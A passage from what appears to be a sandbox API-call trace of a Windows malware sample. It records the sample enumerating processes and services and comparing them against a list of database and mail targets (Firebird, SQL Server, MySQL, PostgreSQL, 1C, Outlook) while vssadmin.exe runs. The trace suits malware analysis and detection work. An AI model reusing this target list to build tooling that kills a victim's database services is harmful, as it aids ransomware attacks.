th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.643] lstrlenW (lpString="conhost.exe") returned 11 [0081.643] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0081.643] lstrlenW (lpString="vssadmin.exe") returned 12 [0081.643] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0081.644] lstrlenW (lpString="VSSVC.exe") returned 9 [0081.644] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.644] lstrlenW (lpString="svchost.exe") returned 11 [0081.644] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0081.645] lstrlenW (lpString="LogonUI.exe") returned 11 [0081.645] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0081.645] CloseHandle (hObject=0x168) returned 1 [0081.645] Sleep (dwMilliseconds=0x1f4) [0082.590] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fa50 [0082.590] EnumServicesStatusExW (in: hSCManager=0x52fa50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0082.591] GetLastError () returned 0xea [0082.591] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x3959740 [0082.591] EnumServicesStatusExW (in: hSCManager=0x52fa50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3959740, cbBufSize=0x12c6, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3959740, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0082.592] CloseServiceHandle (hSCObject=0x52fa50) returned 1 [0082.592] lstrlenW (lpString="Appinfo") returned 7 [0082.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0082.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0082.592] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0082.592] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0082.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0082.592] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0082.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0082.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0082.592] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0082.592] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0082.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0082.592] lstrlenW (lpString="AudioSrv") returned 8 [0082.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0082.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0082.593] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0082.593] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0082.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0082.593] lstrlenW (lpString="BFE") returned 3 [0082.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0082.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0082.593] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0082.593] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0082.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0082.593] lstrlenW (lpString="CryptSvc") returned 8 [0082.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0082.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0082.593] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0082.593] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0082.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0082.593] lstrlenW (lpString="CscService") returned 10 [0082.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0082.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0082.593] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0082.593] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0082.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0082.593] lstrlenW (lpString="DcomLaunch") returned 10 [0082.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0082.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0082.593] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0082.593] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0082.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0082.593] lstrlenW (lpString="Dhcp") returned 4 [0082.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0082.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0082.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0082.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0082.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0082.594] lstrlenW (lpString="Dnscache") returned 8 [0082.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0082.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0082.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0082.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0082.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0082.594] lstrlenW (lpString="DPS") returned 3 [0082.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0082.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0082.594] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0082.594] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0082.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0082.594] lstrlenW (lpString="eventlog") returned 8 [0082.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0082.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0082.594] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0082.594] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0082.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0082.594] lstrlenW (lpString="EventSystem") returned 11 [0082.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0082.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0082.594] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0082.594] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0082.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0082.594] lstrlenW (lpString="gpsvc") returned 5 [0082.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0082.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0082.594] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0082.594] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0082.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0082.594] lstrlenW (lpString="iphlpsvc") returned 8 [0082.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0082.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0082.595] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0082.595] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0082.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0082.595] lstrlenW (lpString="LanmanServer") returned 12 [0082.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0082.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0082.595] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0082.595] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0082.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0082.595] lstrlenW (lpString="LanmanWorkstation") returned 17 [0082.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0082.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0082.595] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0082.595] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0082.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0082.595] lstrlenW (lpString="lmhosts") returned 7 [0082.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0082.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0082.595] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0082.595] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0082.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0082.595] lstrlenW (lpString="MMCSS") returned 5 [0082.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0082.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0082.595] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0082.595] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0082.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0082.595] lstrlenW (lpString="MpsSvc") returned 6 [0082.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0082.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0082.595] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0082.596] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0082.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0082.596] lstrlenW (lpString="Netman") returned 6 [0082.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0082.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0082.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0082.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0082.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0082.596] lstrlenW (lpString="netprofm") returned 8 [0082.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0082.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0082.596] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0082.596] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0082.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0082.596] lstrlenW (lpString="NlaSvc") returned 6 [0082.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0082.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0082.596] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0082.596] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0082.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0082.596] lstrlenW (lpString="nsi") returned 3 [0082.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0082.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0082.596] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0082.596] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0082.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0082.596] lstrlenW (lpString="PcaSvc") returned 6 [0082.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0082.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0082.596] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0082.597] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0082.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0082.597] lstrlenW (lpString="PlugPlay") returned 8 [0082.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0082.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0082.597] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0082.597] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0082.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0082.597] lstrlenW (lpString="Power") returned 5 [0082.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0082.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0082.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0082.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0082.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0082.597] lstrlenW (lpString="ProfSvc") returned 7 [0082.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0082.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0082.597] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0082.597] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0082.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0082.597] lstrlenW (lpString="RpcEptMapper") returned 12 [0082.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0082.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0082.597] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0082.597] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0082.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0082.597] lstrlenW (lpString="RpcSs") returned 5 [0082.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0082.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0082.598] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0082.598] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0082.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0082.598] lstrlenW (lpString="SamSs") returned 5 [0082.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0082.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0082.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0082.598] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0082.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0082.598] lstrlenW (lpString="Schedule") returned 8 [0082.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0082.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0082.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0082.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0082.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0082.598] lstrlenW (lpString="SENS") returned 4 [0082.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0082.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0082.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0082.598] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0082.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0082.598] lstrlenW (lpString="ShellHWDetection") returned 16 [0082.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0082.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0082.598] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0082.598] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0082.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0082.598] lstrlenW (lpString="Spooler") returned 7 [0082.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0082.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0082.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0082.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0082.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0082.599] lstrlenW (lpString="swprv") returned 5 [0082.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0082.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0082.599] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0082.599] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0082.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0082.599] lstrlenW (lpString="SysMain") returned 7 [0082.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0082.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0082.599] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0082.599] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0082.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0082.599] lstrlenW (lpString="Themes") returned 6 [0082.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0082.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0082.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0082.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0082.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0082.599] lstrlenW (lpString="TrkWks") returned 6 [0082.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0082.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0082.599] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0082.599] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0082.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0082.599] lstrlenW (lpString="UxSms") returned 5 [0082.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0082.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0082.599] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0082.600] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0082.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0082.600] lstrlenW (lpString="VSS") returned 3 [0082.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0082.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0082.600] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0082.600] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0082.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0082.600] lstrlenW (lpString="WdiServiceHost") returned 14 [0082.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0082.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0082.600] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0082.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0082.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0082.600] lstrlenW (lpString="WdiSystemHost") returned 13 [0082.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0082.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0082.600] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0082.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0082.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0082.600] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0082.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0082.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0082.600] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0082.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0082.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0082.600] lstrlenW (lpString="Winmgmt") returned 7 [0082.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0082.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0082.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0082.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0082.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0082.601] lstrlenW (lpString="WPDBusEnum") returned 10 [0082.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0082.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0082.601] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0082.601] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0082.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0082.601] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3959740 | out: hHeap=0x4b0000) returned 1 [0082.601] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0082.604] Process32FirstW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0082.604] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0082.604] lstrlenW (lpString="System") returned 6 [0082.605] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0082.605] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0082.605] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0082.605] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0082.605] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0082.605] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0082.605] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0082.605] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0082.605] lstrlenW (lpString="smss.exe") returned 8 [0082.605] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0082.605] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0082.605] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0082.605] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0082.605] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0082.605] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned 